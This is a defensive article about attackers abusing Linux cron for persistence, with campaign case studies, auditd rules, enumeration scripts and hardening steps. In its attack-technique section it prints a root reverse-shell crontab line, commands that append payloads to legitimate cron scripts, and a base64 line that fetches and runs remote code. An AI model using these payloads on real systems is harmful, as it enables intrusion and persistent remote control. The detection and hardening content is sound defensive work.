Every Linux administrator has used cron. It runs database backups at 2 AM, rotates logs, fetches certificates, pings health-check endpoints. It is so woven into the fabric of server operations that its files rarely get scrutinized. An administrator staring at a misbehaving service is not typically thinking about what is in /var/spool/cron/crontabs/ or whether something new appeared in /etc/cron.d/ last Tuesday.

That invisibility is exactly why attackers love it. MITRE ATT&CK documents cron abuse as T1053.003 -- Scheduled Task/Job: Cron, a sub-technique of the parent T1053 -- Scheduled Task/Job. It is classified under three tactics simultaneously: Execution, Persistence, and Privilege Escalation -- meaning a single malicious cron entry can deliver an initial payload, survive a reboot, and run with elevated privileges depending on which crontab it occupies. The technique has appeared in campaigns ranging from nation-state intrusions to commodity cryptomining.

This article covers the mechanics of how Linux schedules cron jobs, every documented location an attacker can abuse, the real-world campaigns that prove the technique is not theoretical, the detection signals you should be watching, and the hardening steps that close the gaps. By the end, you should be able to audit any Linux system for unauthorized crontab modifications and understand why some of them are designed to survive even a careful inspection.

Scope

This article focuses on the traditional cron daemon (Vixie cron and its derivatives, as shipped by most major distributions). The closely related anacron and fcron utilities share most of the same file locations. systemd timers, which are increasingly used as an alternative, are touched on briefly in the context of attacker pivots but are covered in depth in the systemd guide.

How Cron Works: The Attack Surface in Plain Sight

The cron daemon wakes up once per minute and evaluates a set of tables -- the crontabs -- to decide whether any scheduled command is due for execution. Understanding exactly which files it reads is the foundation for understanding where attackers write.

The file locations cron reads

There are two broad categories of crontab storage: system-wide files that can specify a user to run as, and per-user files that always run as the owning account.

/etc/crontab is the main system crontab. Each line has an extra field for the username: * * * * * root /usr/local/bin/check.sh. Because it specifies the user explicitly, it is editable only by root. This is not a file administrators typically think of as a target, but it is often world-readable, and its contents are not always reviewed during incident response.

/etc/cron.d/ is a directory of drop-in crontab fragments, each in the same format as /etc/crontab. Package managers write here when installing software that needs scheduled jobs. Attackers write here too -- the files are mixed in with legitimate package entries, and there is no canonical list of what belongs.

The time-based directories -- /etc/cron.hourly/, /etc/cron.daily/, /etc/cron.weekly/, and /etc/cron.monthly/ -- contain executable scripts rather than crontab-format files. Cron runs the scripts they contain on the corresponding schedule. These directories are commonly writable by root only, but a compromised root session is precisely the scenario defenders must plan for.

/var/spool/cron/crontabs/ holds per-user crontab files. On a typical system the file /var/spool/cron/crontabs/deploy contains the scheduled jobs for a user named deploy. The cron daemon runs those jobs as that user. This is significant from an attacker's perspective: persisting in a non-root user's crontab achieves execution without needing root at the time of writing, though the command runs only with that user's privileges.

Finally, anacron (which ensures that time-based jobs missed during downtime are caught up) reads from /var/spool/anacron/. These state files are less commonly inspected during audits.

The crontab time syntax

Each crontab line has five time fields followed by the command: minute, hour, day of month, month, and day of week. An asterisk in any field means "every." So * * * * * runs every minute, and 0 3 * * 0 runs at 3 AM every Sunday. The special directive @reboot runs a command once at system startup, regardless of any schedule. Attackers favor @reboot precisely because it does not depend on timing -- the payload fires the moment the machine comes back up after maintenance or incident response.

crontab syntax
# minute  hour  day-of-month  month  day-of-week  command
*       *     *             *      *            /path/to/command

# Run at 3:30 AM every day
30      3     *             *      *            /usr/local/bin/backup.sh

# Run every minute (attacker-preferred for C2 callbacks)
*       *     *             *      *            /tmp/.hidden/payload

# Run on every reboot
@reboot /bin/bash -c '/tmp/.x/init.sh >/dev/null 2>&1'
Interactive // Cron Expression Builder
* * * * * /usr/local/bin/backup.sh
Runs every minute, every hour, every day.

How Attackers Abuse Cron: Techniques in Detail

There is no single way to abuse cron. The technique spans a spectrum from crude but effective to surprisingly sophisticated, and defenders must be prepared for all of it.

Direct crontab entry injection

The simplest approach: write a new entry directly to a crontab file. If an attacker has a shell as a non-root user, they can run crontab -e or write directly to /var/spool/cron/crontabs/<username>. The entry might call back to a command-and-control server, re-download a dropped binary that was cleaned up, or execute a reverse shell. Shell one-liners delivered via cron align with MITRE ATT&CK T1059.004 -- Command and Scripting Interpreter: Unix Shell. Elastic Security's detection documentation for T1053.003 highlights the archetypal payload:

* * * * * root /bin/bash -c 'sh -i >& /dev/tcp/192.168.1.1/1337 0>&1'

That entry, written to /etc/crontab or a file in /etc/cron.d/, opens a reverse shell to the attacker's IP once per minute, as root. No binary to delete, no process to kill -- the shell re-establishes itself every sixty seconds indefinitely.

At first glance it seems reckless to schedule a reverse shell for every minute -- it generates far more connection attempts than necessary. But from the attacker's perspective, frequency is resilience.

If my C2 server goes down for six hours, or the target's firewall blocks outbound for a window, I don't want to wait until next Tuesday at 3 AM. A callback every sixty seconds means my window to recover a dropped session is always sixty seconds.

The noise tradeoff is also less significant than it appears. Connection attempts to an external C2 domain on port 443 (or blended into HTTPS traffic) look like any other web request to a perimeter firewall that isn't doing deep packet inspection or DNS-based category blocking. The cron schedule field * * * * * generates 1,440 executions per day -- but if each one silently fails when no listener is up, and only makes a brief HTTPS handshake when one is, the traffic baseline can be indistinguishable from normal application telemetry.

Defender implication: Alert on cron entries using * * * * * (every minute) that invoke network tools like curl, wget, nc, or raw /dev/tcp/ paths. This combination -- maximum frequency plus network callback -- is a strong signal of C2 setup rather than legitimate administration.

Appending to existing cron scripts

Rather than creating a new file, attackers frequently append malicious commands to scripts that already exist in /etc/cron.daily/ or /etc/cron.hourly/. This is harder to spot because the file is legitimate -- it was put there by a package manager. The malicious line hides at the end of, say, /etc/cron.daily/logrotate. Splunk's persistence research documents this approach precisely: an attacker with shell access uses shell redirection to inject a payload path into an existing cron script, so it executes automatically whenever the original script runs.

append-to-existing-cron.sh
# Attacker appends malicious script to a legitimate cron job
echo "/tmp/evil_cron.sh" >> /etc/cron.daily/logrotate
echo "/tmp/evil_cron.sh" >> /etc/cron.hourly/logrotate

# More evasive: base64-encoded inline command
echo "bash -c {echo,Y3VybCBodHRwOi8vYy5leGFtcGxlLmNvbS9zfGJhc2g=}|{base64,-d}|bash" \
  >> /etc/cron.daily/sysstat
Detection Challenge

Appending to an existing file does not create a new inode. File-creation-based detection rules will miss this. You need content-level monitoring -- either log shipping that captures file writes, or integrity checking that compares file content against a known baseline.

The @reboot directive for boot persistence

The @reboot special string in a crontab entry schedules a command to run once at every system startup. This is a particularly favored attacker technique because it guarantees re-execution after incident response activities that include a reboot. Security research published by OSTechNix in late 2025 documents how threat actors use it to pull down fresh payloads from external infrastructure on every boot, ensuring that even if local binaries are deleted, the malware reconstitutes itself from a remote source.

The most defensively robust incident response step most sysadmins take is rebooting -- it clears in-memory payloads, kills running processes, and resets state. An attacker who uses @reboot with a remote fetch turns that response into a recovery mechanism for the malware.

I don't need my binary to survive on disk. I don't need to protect a specific file. I need a cron entry that runs a one-liner on boot. That one-liner reaches out to infrastructure I control and pulls down whatever I want to run today -- maybe a miner, maybe a new implant, maybe a keylogger. You cleaned up last night's payload? Great. Boot the machine and you'll have today's.

This strategy also makes forensic attribution harder. The disk never holds the full attack chain for long. The @reboot entry in the crontab may look like a harmless update script. The payload is staged remotely.

Defender implication: Network isolation before reboot is not optional during incident response -- it is the prerequisite. If you reboot a compromised machine while it still has internet access and a @reboot cron entry that fetches from a remote source, you have actively helped the attacker re-establish the compromise. Kill outbound connectivity first, then enumerate all @reboot entries before any restart.

Dropping files into time-based directories

Files placed in /etc/cron.hourly/ and /etc/cron.daily/ are executable scripts, not crontab-format entries. An attacker with a root session can drop a script with a plausible name -- something like updatedb-cache or logstat -- and it will be executed on schedule by the system without any further configuration. Splunk's persistence research notes that attackers specifically use this approach when the objective is privilege escalation: scripts placed in these directories execute with root (or at least system) privileges, which can be used to write SUID binaries or modify other privileged paths.

Modifying cron.allow and cron.deny

Two control files govern which users are permitted to use the crontab utility at all: /etc/cron.allow and /etc/cron.deny. The logic is straightforward -- if cron.allow exists, only users listed in it can schedule jobs. If it does not exist but cron.deny does, users in the deny list are blocked and everyone else is permitted. An attacker who can modify these files can either grant crontab access to an account that previously lacked it, or remove a restriction that was preventing their chosen persistence account from scheduling anything. Elastic's detection rules specifically monitor writes to both /etc/cron.allow and /etc/cron.deny as indicators of persistence activity.

Real Campaigns: When This Stopped Being Theoretical

Cron persistence is not a lab curiosity. It has driven damage across real infrastructure, and two campaigns in particular illustrate how far the technique can be taken.

Perfctl: The trojanized crontab binary

In October 2024, researchers at Aqua Security published a detailed analysis of a Linux malware family they called perfctl. The campaign had been active for at least three years, had targeted millions of Linux servers, and likely compromised thousands -- exploiting over 20,000 distinct types of misconfigurations across that period. The primary payload was a Monero cryptominer, but the persistence and evasion architecture made it notable far beyond cryptocurrency theft.

What made perfctl remarkable was not just that it used cron for persistence -- it was that it subverted the tool used to inspect cron. Aqua's researchers Assaf Morag and Idan Revivo described the malware as "particularly elusive and persistent," noting that it immediately halts all noisy activity the moment a new user logs in and lies dormant until the server is idle again.

Perfctl dropped trojanized versions of the crontab, top, lsof, and ldd utilities into /home/<user>/.local/bin/ and then modified /etc/profile to prepend that directory to $PATH. This is a textbook instance of MITRE ATT&CK T1574.007 -- Hijack Execution Flow: Path Interception by PATH Environment Variable combined with T1036.005 -- Masquerading: Match Legitimate Name or Location: the fake binaries share the names of real system tools and are placed in a path that resolves before the legitimate binaries. The result: when an administrator ran crontab -l, they were executing the fake binary, which was designed to suppress output of any malicious entries. The malware's cron jobs were present in the spool files but invisible to the standard inspection command.

This is a category shift in the threat model. It means that checking your crontab with crontab -l is not sufficient if the crontab binary itself may be compromised. The only reliable inspection is reading the raw spool files directly -- cat /var/spool/cron/crontabs/root -- or verifying binary integrity before trusting the output of any system tool.

Perfctl IOC Summary

If you suspect perfctl, do not trust crontab -l, top, lsof, or ldd output. Verify the hashes of those binaries against known-good values using debsums -c (Debian/Ubuntu) or rpm -V crontabs (RPM systems) before relying on their output. Also inspect /etc/profile and per-user shell initialization files for unauthorized $PATH modifications.

The Rocke group: cron as the backbone of a cryptomining empire

The Rocke threat group, documented by Palo Alto Networks Unit 42, has used cron-based persistence as the cornerstone of their cryptomining infrastructure since at least 2018. Their methodology involves placing malicious scripts in /etc/cron.hourly/ for automatic execution, killing competing cryptominers already on a compromised system (to maximize their own yield), and uninstalling cloud security agents to avoid detection. The group also maintains multiple simultaneous backdoors -- if one is removed, the cron entry in the hourly directory re-downloads and re-installs it within sixty minutes.

Palo Alto's research on Rocke illustrates a point that matters operationally: removing an obviously malicious binary from a disk is not incident response. If the cron entry that installed it is still present, the binary returns. Effective remediation requires finding and removing every scheduled task before cleaning up the payload it launches.

ESXiArgs ransomware and cron on hypervisor hosts

MITRE ATT&CK's T1053.003 documentation notes that in VMware ESXi environments, cron jobs must be created directly via the crontab file because the ESXi management interface does not wrap the full Linux user-space. The ESXiArgs ransomware campaign from early 2023 leveraged this, using direct writes to the ESXi crontab as a persistence mechanism during its encryption routines. The hypervisor attack surface is particularly consequential: a single compromised ESXi host can affect every virtual machine it runs.

CronRAT: hiding the payload in an impossible date

In late 2021, researchers at Sansec discovered a Linux remote access trojan they named CronRAT that took cron evasion in a fundamentally different direction. Rather than hiding entries by trojanizing the inspection utility, CronRAT exploited a quirk in how the cron parser handles syntactically valid but calendrically impossible dates.

CronRAT scheduled its tasks to run on February 31st -- a date that does not exist. The Linux cron system accepts the date specification 52 23 31 2 3 as syntactically valid, but because that day never arrives, the entry never executes in the conventional sense. The actual malicious payload was embedded not in the command field but in the task name itself, encoded through multiple layers of base64 compression and obfuscation. Sansec director of threat research Willem de Groot described the technique at the time as evidence that digital skimming was moving from the browser to the server, targeting unprotected back-end infrastructure that store owners had not hardened.

The operational implication for defenders is significant: any security tool or manual review that only inspects the time and command fields of crontab entries will miss this technique entirely. Defenders must also scan the schedule specification fields for impossible dates, and scrutinize the full raw content of every crontab file for obfuscated data. Sansec had to rewrite their own eComscan detection algorithm to catch CronRAT after their existing tooling failed to flag it.

CronRAT Detection

To catch impossible-date entries, search crontab files for day-of-month values of 30 or 31 in February (month field = 2), or any date specification that could never occur (day 32+, month 13+). A simple grep across all cron locations -- grep -r "31.*2" /var/spool/cron/crontabs/ /etc/cron.d/ /etc/crontab -- is a quick starting point, though it requires manual review to avoid false positives from legitimate schedule patterns.

Koske: AI-assisted cryptomining with cron persistence (2025)

Discovered and detailed by Aqua Security's Aqua Nautilus team in mid-2025, Koske represents a newer generation of Linux cryptomining malware with characteristics suggesting large language model assistance in its development -- modular structure, unusually clean code, verbose and well-constructed in-code comments, and adaptive logic that researchers noted was atypical for manually crafted malware. Aqua Nautilus Director of Threat Intelligence Assaf Morag wrote that Koske "shows clear signs of AI-assisted development, likely with help from a large language model."

Koske's initial access vector was exploitation of misconfigured JupyterLab instances, and the malware conceals its payloads inside benign-looking JPEG images of panda bears -- polyglot files where a valid image header is followed by appended shell scripts. Once downloaded, the malware executes entirely from memory, bypassing disk-based antivirus scanning. Its persistence model is layered: cron jobs scheduled to run every 30 minutes and at every reboot, custom systemd services, modifications to .bashrc and .bash_logout, and edits to /etc/rc.local. An in-memory rootkit written in C hooks readdir() to hide processes and files associated with the malware from standard monitoring utilities. Koske supports 18 different cryptocurrencies and selects CPU or GPU miners based on the hardware profile of the compromised host. Koske also removes its bash history upon execution, aligning with T1070.003 -- Indicator Removal: Clear Command History, and deletes intermediate files consistent with T1070.004 -- Indicator Removal: File Deletion.

Koske campaigns have also been observed creating custom systemd services for a primary persistence path alongside cron -- a layered-persistence pattern that appeared across multiple mid-2025 campaigns targeting exposed cloud services and misconfigured container environments. Attackers targeting internet-exposed services routinely combine cron and systemd persistence precisely because removing one does not eliminate the other. Together, the 2025 campaigns confirm that cron remains a first-choice or reliable-fallback persistence mechanism across a wide spectrum of attacker sophistication levels.

Campaign Timeline // 2018 to 2025 -- Click any entry to expand
2018 Rocke Group Cryptomining

The Rocke group established cron as a reliable cryptomining infrastructure backbone, placing scripts in /etc/cron.hourly/ to automatically re-download and reinstall payloads every sixty minutes. Their methodology of actively killing competing miners and uninstalling cloud security agents while maintaining cron-based re-installation turned a single foothold into a self-healing operation.

Palo Alto Networks Unit 42 documented Rocke's operations. Their use of /etc/cron.hourly/ ensures root-level execution on a regular schedule, and their practice of maintaining multiple simultaneous backdoors means that removing a binary without also removing the cron entry that re-downloads it achieves nothing.

Vector
/etc/cron.hourly/
Active since
at least 2018
Payload
XMRig (Monero)
2021 CronRAT RAT / Skimmer

Sansec researchers discovered CronRAT hiding its payload inside crontab entries scheduled for February 31st -- an impossible calendar date that the cron parser accepts as syntactically valid but never executes. The payload was stored in multiple layers of base64 encoding inside the task name field, not the command field, making it invisible to tools that only inspect the schedule and command portions of crontab entries.

CronRAT was deployed against e-commerce infrastructure to inject server-side Magecart payment skimmers. At discovery, 70 out of 70 antivirus engines on VirusTotal either could not process the file or failed to flag it as malicious.

Evasion
Feb 31 impossible date
Target
E-commerce servers
AV detection
0 / 70 at discovery
2023 ESXiArgs Ransomware Ransomware

ESXiArgs demonstrated that T1053.003 was not limited to traditional Linux servers. VMware ESXi's cron subsystem is accessible directly via crontab file because the ESXi management interface does not wrap the full Linux user-space. ESXiArgs wrote cron entries directly to the ESXi crontab as a persistence mechanism during its encryption routines, ensuring the ransomware could re-run even after partial remediation attempts.

The hypervisor context makes cron abuse especially consequential: a single compromised ESXi host places every guest virtual machine under the attacker's control of the scheduling system.

Target
VMware ESXi hosts
Impact
Per-guest VM encryption
Cron use
Direct crontab write
2024 Perfctl Stealth / Miner

Aqua Security's researchers documented perfctl after it had been active for three years undetected. The campaign's defining innovation was replacing the crontab binary itself with a trojanized version that suppressed output of any malicious entries when an administrator ran crontab -l. The fake binary was placed in /home/<user>/.local/bin/ with /etc/profile modified to prepend that path, so the trojanized version resolved before the system binary.

Perfctl also replaced top, lsof, and ldd with modified versions and halted all mining activity the moment a new user session was detected, resuming when the session ended.

Scale
Millions targeted
Innovation
Trojanized crontab binary
Duration
3+ years active
2025 Koske AI-Assisted

Aqua Nautilus documented Koske as the first major Linux cryptominer with clear LLM-assisted development signatures: modular architecture, unusually clean code, and verbose in-code documentation atypical of manually written malware. Initial access was through misconfigured JupyterLab instances; payloads were hidden in JPEG images (polyglot files) and executed entirely from memory.

Persistence was layered across cron (every 30 minutes and at @reboot), systemd services, .bashrc and .bash_logout modifications, and /etc/rc.local. An in-memory rootkit hooking readdir() hid processes and files from standard tools. The malware detected available hardware and selected the appropriate miner from 18 supported cryptocurrencies.

Layers
5 persistence mechanisms
Coins
18 supported
Innovation
LLM-assisted development

MITRE ATT&CK Technique Mapping

Unauthorized crontab modification does not operate in isolation. It connects to a cluster of related ATT&CK techniques that appear together in the campaigns covered in this article. The table below maps each technique to the specific behavior it describes and the campaign or section where it surfaces.

Technique ID Name Tactic(s) Relevance in This Article
T1053.003 Scheduled Task/Job: Cron Execution, Persistence, Privilege Escalation Primary technique. All campaigns covered (perfctl, Rocke, CronRAT, Koske, ESXiArgs) use this.
T1053.006 Scheduled Task/Job: Systemd Timers Execution, Persistence, Privilege Escalation Koske and Docker API malware use systemd timers alongside cron as a layered persistence fallback.
T1574.007 Hijack Execution Flow: Path Interception by PATH Environment Variable Persistence, Privilege Escalation, Defense Evasion Perfctl prepends /home/<user>/.local/bin/ to $PATH via /etc/profile to make fake binaries resolve before legitimate ones.
T1036.005 Masquerading: Match Legitimate Name or Location Defense Evasion Perfctl names trojanized utilities (crontab, top, lsof, ldd) identically to the system binaries they replace. Koske names processes to blend with legitimate system activity.
T1059.004 Command and Scripting Interpreter: Unix Shell Execution Reverse shell one-liners and base64-encoded bash payloads embedded directly in crontab entries.
T1070.003 Indicator Removal: Clear Command History Defense Evasion Koske removes bash history (~/.bash_history) and wget history upon execution to erase traces of installation commands.
T1070.004 Indicator Removal: File Deletion Defense Evasion Perfctl deletes its initial dropper binary after execution. Koske deletes intermediate files after payload delivery.
T1222.002 File and Directory Permissions Modification: Linux and Mac File and Directory Permissions Modification Defense Evasion, Privilege Escalation Attackers modifying /etc/cron.allow or /etc/cron.deny to expand scheduling access. Also relevant to hardening: setting chmod 600 on cron directories is the defensive countermeasure.
TacticsExecution, Persistence, Privilege Escalation
RelevancePrimary technique. All campaigns covered use this.
TacticsExecution, Persistence, Privilege Escalation
RelevanceKoske and Docker API malware layer systemd timers alongside cron.
TacticsPersistence, Privilege Escalation, Defense Evasion
Perfctl prepends a fake binary directory to $PATH so trojanized tools resolve first.
TacticsDefense Evasion
Perfctl names fake binaries identically to system tools (crontab, top, lsof, ldd).
TacticExecution
Reverse shells and base64-encoded bash payloads embedded in crontab entries.
TacticDefense Evasion
Koske clears command history. Perfctl and Koske both delete dropper files after execution.

Relevant NIST Special Publications

Several NIST Special Publications provide the normative framework for the detection and hardening controls described in this article. Organizations aligning to FISMA, FedRAMP, or NIST-based control frameworks should map the technical steps here to the specific control identifiers below.

NIST SP 800-53 Rev. 5 -- Security and Privacy Controls

NIST SP 800-53 Revision 5 is the primary control catalog for federal information systems and organizations. The following controls are directly applicable to the techniques and defenses covered in this article:

Control Name Application to Cron Security
AU-2 Event Logging Requires organizations to define which event types must be logged. Crontab write events, auditd cron-tagged alerts, and cron execution logs directly satisfy AU-2 requirements.
AU-6 Audit Record Review, Analysis, and Reporting Mandates periodic review of audit records. Regular review of ausearch -k cron output and SIEM alerting on unexpected crontab writes fulfills this control.
AU-9 Protection of Audit Information Requires protecting audit logs from unauthorized access and modification. Shipping cron and auditd logs to a centralized remote SIEM prevents an attacker with root from erasing local evidence.
CM-3 Configuration Change Control Requires that configuration changes (including scheduled job definitions) go through a change management process. Unauthorized additions to crontab represent a CM-3 violation.
CM-6 Configuration Settings Mandates establishing and documenting secure configuration settings. Implementing /etc/cron.allow as a whitelist, setting chmod 600 on cron directories, and restricting cron.deny are CM-6 compliant configuration hardening steps.
CM-7 Least Functionality Requires disabling functionality not required for operations. Disabling anacron on servers where catch-up execution is not required, and restricting crontab access to authorized users only, satisfies CM-7.
AC-6 Least Privilege Requires users and processes to operate with the minimum necessary privileges. Using /etc/cron.allow to restrict crontab access to only the accounts that legitimately need it is a direct AC-6 implementation.
SI-3 Malicious Code Protection Requires implementing malicious code protection mechanisms. Binary integrity verification (debsums -c, rpm -V) to detect trojanized crontab utilities addresses SI-3 for Linux systems where traditional AV coverage of the cron subsystem is limited.
SI-4 System Monitoring Requires monitoring systems for attacks and indicators of potential compromise. Auditd watch rules, inotifywait-based monitoring, and Elastic/Splunk detection rules for crontab modifications are SI-4 implementations.
SI-7 Software, Firmware, and Information Integrity Requires detecting unauthorized changes to software and information. Verifying the integrity of the crontab binary itself -- the core lesson from the perfctl campaign -- is a direct SI-7 implementation for Linux sysadmins.
IR-4 Incident Handling Requires implementing an incident handling capability covering preparation, detection, analysis, containment, eradication, and recovery. The incident response steps in this article (do not reboot first, enumerate all persistence, verify binary integrity before trusting tools) constitute IR-4 procedural guidance for cron-based compromises.

NIST SP 800-123 -- Guide to General Server Security

NIST SP 800-123 provides guidance on securing servers running operating systems including Linux. Section 4 covers operating system hardening -- including limiting the services and user accounts active on a server -- which directly informs the hardening steps in this article: restricting /etc/cron.allow to only accounts that legitimately need cron access, verifying file permissions on cron directories, and disabling unused schedulers (anacron) on servers where they serve no operational function.

NIST SP 800-190 -- Application Container Security Guide

NIST SP 800-190 is relevant when cron persistence appears in containerized or orchestrated environments. The Docker Remote API malware campaign from mid-2025 targeted exposed container management interfaces and used cron as a persistence mechanism, and MITRE ATT&CK T1053.007 specifically documents abuse of container orchestration jobs (Kubernetes CronJobs) as an extension of the same persistence model. SP 800-190 guidance on runtime monitoring, image integrity, and the principle of immutable infrastructure applies directly: containers that cannot be modified at runtime eliminate the writable cron paths that the technique depends on.

These publications are available at csrc.nist.gov. Organizations operating under FISMA should treat the NIST SP 800-53 Rev. 5 control mappings above as the authoritative compliance reference; the SP 800-123 and SP 800-190 guidance provides operational implementation detail.

Detection: Finding What Should Not Be There

There are three complementary detection approaches: real-time file monitoring, periodic audit enumeration, and binary integrity verification. A mature detection posture uses all three, because each catches a different class of attacker behavior.

Auditd watch rules

The Linux Audit daemon (auditd) can watch filesystem paths for write and attribute-change events, generating log entries whenever a watched file is modified. The community rule set maintained at Neo23x0/auditd provides a reference set of rules for cron monitoring. Translated to practical auditd configuration:

/etc/audit/rules.d/cron.rules
# Monitor cron configuration files for writes and attribute changes
-w /etc/cron.allow -p wa -k cron
-w /etc/cron.deny  -p wa -k cron
-w /etc/crontab    -p wa -k cron
-w /etc/cron.d/    -p wa -k cron
-w /etc/cron.hourly/  -p wa -k cron
-w /etc/cron.daily/   -p wa -k cron
-w /etc/cron.weekly/  -p wa -k cron
-w /etc/cron.monthly/ -p wa -k cron
-w /var/spool/cron/    -k cron

# Reload rules without reboot
# augenrules --load

These rules generate audit events tagged with the key cron whenever a watched path is written to or renamed. Query them with ausearch -k cron. In a SIEM environment (Splunk, Elastic, or similar), ingest auditd logs and alert when a cron-tagged write event originates from a process that is not the crontab binary, a package manager, or a configuration management tool.

Elastic Security's prebuilt detection rules for this exact pattern watch for file creation or rename events in all of the above paths where the triggering process is not one of the whitelisted executables: /bin/dpkg, /usr/bin/rpm, /bin/yum, /usr/bin/puppet, /usr/bin/chef-client, and their equivalents. Any crontab modification by python, bash, curl, or an unrecognized binary is flagged as medium-severity with a risk score of 47.

Detecting crontab modification via text editors

Splunk's detection analytic library includes a rule (ID dcc89bde-5f24-11ec-87ca-acde48001122, updated May 2025) that specifically watches for nano, vi, or vim being used to open crontab configuration paths. While legitimate administrators do sometimes manually edit cron files with a text editor, this behavior is uncommon enough in production that it warrants review. The alert surfaces the command line, the process, and the user account, providing context for rapid triage.

Manual crontab enumeration

For periodic audits or during incident response, enumerate every crontab on the system. The following pattern iterates /etc/passwd to check every account:

enumerate-all-crontabs.sh
#!/bin/bash
# Enumerate crontabs for every user on the system
for user in $(cut -f1 -d: /etc/passwd); do
  echo "=== Crontab: $user ==="
  sudo crontab -u $user -l 2>/dev/null || echo "(none)"
done

# Also inspect the raw spool files directly (bypasses a trojanized crontab binary)
echo "=== Raw spool files ==="
sudo ls -la /var/spool/cron/crontabs/
sudo cat /var/spool/cron/crontabs/* 2>/dev/null

# Check system-wide cron locations
echo "=== /etc/crontab ==="
cat /etc/crontab
echo "=== /etc/cron.d/ ==="
ls -la /etc/cron.d/
cat /etc/cron.d/*
echo "=== Time-based directories ==="
ls -la /etc/cron.hourly/ /etc/cron.daily/ /etc/cron.weekly/ /etc/cron.monthly/
Incident Response Note

During active incident response, read the raw spool files with cat rather than relying on crontab -l. If perfctl or a similar trojanized-binary campaign is in play, the crontab binary cannot be trusted. Reading the file directly bypasses the compromised utility and shows you the actual content on disk.

Suspicious command patterns in cron entries

When reviewing crontab content, these patterns warrant immediate investigation regardless of context:

None of these are exclusively malicious in isolation, but any combination of them in a crontab belonging to a service account or non-interactive user demands explanation.

Binary integrity verification

The perfctl campaign established that the tool you use to inspect cron can itself be the attack surface. Verifying crontab binary integrity should be a regular check on any internet-facing server:

verify-crontab-binary.sh
# Debian/Ubuntu: verify all installed package files including crontab binary
sudo debsums -c

# RPM-based systems (RHEL, Rocky, Fedora, CentOS)
rpm -V crontabs

# Check which crontab binary is being called (PATH hijack detection)
which crontab
type -a crontab

# Verify the hash matches the package-managed file
sha256sum $(which crontab)

# Check /etc/profile and per-user init files for PATH manipulation
grep -r "PATH" /etc/profile /etc/profile.d/ /home/*/.bashrc /home/*/.profile /root/.bashrc /root/.profile 2>/dev/null

Hardening Cron Against Unauthorized Modification

Detection is necessary but not sufficient. A hardened cron configuration raises the cost of abuse and shrinks the window in which an attacker can operate before triggering an alert.

Implement cron.allow as an explicit whitelist

The access control model for cron is governed by two files: /etc/cron.allow and /etc/cron.deny. The SUSE and openSUSE security hardening documentation is explicit on the correct approach: use an allow-list model, not a deny list. A deny list is weaker because any new user account is automatically permitted unless someone remembers to add them. An allow list means that a new account cannot use cron until it is explicitly granted permission. This is a direct application of the least-privilege principle that underpins zero-trust security on Linux -- no account gets scheduling access unless it is explicitly authorized.

configure-cron-access.sh
# Create an explicit allow list containing only authorized users
sudo tee /etc/cron.allow <<EOF
root
deploy
backup
EOF

# Set strict ownership and permissions
sudo chown root:root /etc/cron.allow
sudo chmod 600 /etc/cron.allow

# Remove cron.deny if you are switching to an allow-list model
# (having both files can cause confusion; allow takes precedence on most systems)
sudo rm -f /etc/cron.deny

# Harden the main crontab file
sudo chown root:root /etc/crontab
sudo chmod 600 /etc/crontab

# Ensure cron directories are not world-writable
sudo chmod 700 /etc/cron.d /etc/cron.hourly /etc/cron.daily /etc/cron.weekly /etc/cron.monthly

An important nuance flagged in the SUSE documentation: creating cron.allow prevents users from creating new cron jobs, but existing crontab entries for denied users will continue to run until those spool files are removed. If you implement an allow list on a system with existing user crontabs, you must also clear the spool files for users not on the list.

Enable cron logging

Cron executions are logged by default on most distributions, but the destination varies. On systems using rsyslog, verify that the cron facility is being captured:

/etc/rsyslog.conf (relevant section)
# Ensure cron messages are written to a dedicated log file
cron.*    /var/log/cron.log

# Restart rsyslog to apply
# sudo systemctl restart rsyslog

# Verify cron log is being written
# grep CRON /var/log/syslog | tail -20

Send cron logs to a centralized logging infrastructure. An attacker who has root on a machine can delete local log files. Logs that have already been shipped to a remote SIEM or syslog server cannot be retroactively erased from the compromised host.

Real-time monitoring with inotifywait

For environments without a full EDR agent, inotifywait from the inotify-tools package can provide lightweight real-time monitoring of the cron spool directory:

cron-monitor.sh
#!/bin/bash
# Run as a background service to log cron spool modifications
inotifywait -m /var/spool/cron/ /etc/cron.d/ -e create,modify,delete,moved_to \
  | while read path action file; do
      echo "[$(date)] CRON CHANGE: $action $path$file" >> /var/log/cron_changes.log
      # Optionally send an alert here
  done

Consider disabling anacron if not needed

On servers that do not require catch-up execution of missed jobs, anacron can be disabled. This removes one additional cron-adjacent attack surface:

$ sudo systemctl disable --now anacron

Consider systemd timers as a monitored alternative

On systems running systemd, timer units can replace many cron functions with stronger auditability. Systemd timers are defined in unit files under /etc/systemd/system/, their creation and modification generates systemd journal entries, and they require explicit systemctl enable to activate. The SUSE hardening documentation recommends this transition specifically because by default users cannot use systemd timers to run code when they are not logged in, which limits the persistence surface compared to per-user crontabs. See the systemd guide for implementation details.

It is worth noting, however, that attackers are now targeting systemd timers directly for the same persistence objective -- documented under MITRE ATT&CK T1053.006 -- Scheduled Task/Job: Systemd Timers. A real-world example is CVE-2026-3888, where Ubuntu's systemd cleanup timer became a root escalation path. Elastic Security maintains dedicated detection rules for unauthorized systemd timer creation alongside its cron rules. Migrating from cron to timers shifts the monitoring requirement but does not eliminate it.

Incident Response: When You Find Something

Finding a suspicious crontab entry is the beginning, not the end. Cron persistence is almost always part of a larger compromise, and removing the crontab entry without understanding the full attack chain leaves the attacker with other footholds they can use to re-establish it.

Do not reboot first

A reboot clears running processes from memory but triggers any @reboot cron entries. If you have not yet identified and removed all persistence mechanisms, a reboot may actively work against you. Isolate the host from the network first, then enumerate and remove persistence before restarting.

Systematic persistence enumeration

Cron entries are one persistence location. Attackers who write cron jobs on a compromised system typically also establish persistence through other mechanisms. As part of any incident involving unauthorized crontab modification, also check for signs of Linux trojan activity and review:

For a full treatment of Linux user permission auditing in this context, the sudoers and SUID audit guide covers the complementary aspects of post-compromise permission review.

Removing unauthorized entries

For per-user crontab entries, remove with crontab -r -u <username> or edit the spool file directly. For entries in /etc/cron.d/ or the time-based directories, delete the file or edit it to remove the malicious line. After removal, verify immediately by reading the raw files rather than relying on the crontab -l command until binary integrity has been confirmed.

Wipe vs. Remediate

Aqua Security's perfctl analysis recommends a full wipe and reinstall for confirmed perfctl infections, because the malware's modifications to system binaries and LD_PRELOAD configurations make it extremely difficult to verify that a clean-up attempt was complete. For any infection that has replaced system utilities, treat the host as untrustworthy and rebuild from a known-good image.

Detection Coverage at a Glance

The following summarizes the detection mechanisms covered in this article against the attack sub-techniques described. Hover over any coverage cell to see why that combination works, is partial, or fails.

detection-coverage-matrix -- hover cells for details
Technique Auditd EDR Rule Binary Check Manual Audit
